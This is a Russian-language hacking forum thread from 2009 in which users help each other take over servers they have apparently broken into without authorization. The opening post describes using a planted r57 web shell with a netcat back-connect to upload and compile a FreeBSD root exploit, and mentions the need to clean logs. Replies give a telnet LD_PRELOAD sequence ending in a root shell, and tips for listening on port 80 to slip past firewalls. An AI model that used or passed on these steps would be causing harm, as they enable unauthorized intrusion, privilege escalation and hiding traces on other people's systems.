Компиляция сплойта под FreeBSD (7.0-RELEASE)

Discussion in 'Уязвимости' started by Infocean, 19 Mar 2009.

  1. Infocean

    Infocean New Member

    Joined:
    11 Feb 2007
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    Всем прив.

    Есть сервак который я почти сломал, не хватает только прав root.
    OC: FreeBSD 7.0-RELEASE
    Нашел, сплоит по неё: http://milw0rm.com/exploits/8055, но его не получается скомпилировать.
    На серве валяется шелл r57.
    И так мои действия по компиляции(В C# не силён :():
    1) Берём r57 шелл, залитый на сервер
    2) Качаем NetCat и запускаем (nc -l -p 11457)
    3) В r57 шелле нажимаем BackConnet (в настройках ничего не меняем)
    4) Загружаем через шелл нужные сплойты (текстовый документ вида: ttt.c)
    5) В консоли вбиваем( если я не ошибаюсь, в какой-то статье давно видел):
    gcc ttt.c -o ttt и запускаем ./ttt

    У меня же всё обламывается на 5 шаге, при компиляции в консоли выдаётся куча еррор'ов.

    Подскажите, почему не компилится сплоит, буду очень благодарен, т.к. надо срочно.(логи почистить).


    p.s. Если бы был силён в Си, то не просил бы помочь.
     
  2. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    1) уверен что ты тупо скопировал весё с милворма :) смотри внимательней где код, а где описание
    2) могут отсутствовать библиотеки, прочитай вообще для чего сплойт :\
    3)
    gcc -o ttt ttt.c - так лучше)
     
  3. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    какие эроры?
    кинь лог
     
  4. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Все нормально компилится, только что проверил.

    PS:
    cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
    ---snip-----
    #telnet
    >auth disable SRA
    >environ define LD_PRELOAD /tmp/libno_ex.so.1.0
    >open target
    ---snip-----
    ALEX-ALEX
    #ROOTSHELL
     
    #4 BlackSun, 25 Mar 2009
    Last edited: 25 Mar 2009
  5. r0mka

    r0mka New Member

    Joined:
    29 Mar 2009
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Помогите.
    Вообщем пытаюсь поднять права на одном серваке. Пытаюсь заюзать бек конект.
    Прописываю nc -l -p 11457 , на r57 жму бэк конект ,шелл выдаёт :
    Now script try connect to 85.xxx.xxx.xxx port 11457 ...
    Но в cmd.exe ничего не появляется. В чём может быть проблема?
     
  6. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    На сервере может стоять фаерволл, открывай у себя 80й порт, больше шансов, что такое соединение будет разрешено. Надеюсь у тебя инет без NAT'а?
     
  7. laedafess

    laedafess Member

    Joined:
    11 Feb 2009
    Messages:
    70
    Likes Received:
    29
    Reputations:
    15
    во-первых лучше
    Code:
    nc -l -n -v -p 11457
    во-вторых еще лучше
    Code:
    nc -l -n -v -p 80
    в-третьих проблемы могут быть всякие.. зависит от конкретного случая. Может фаервол мешает, может ты за натом
    вот еще по теме можешь почитать:
    http://forum.antichat.ru/showthread.php?p=162986
     
  8. r0mka

    r0mka New Member

    Joined:
    29 Mar 2009
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    BlackSun, laedafess . Спасибо большое, быстренько ответили.

    Это помогло.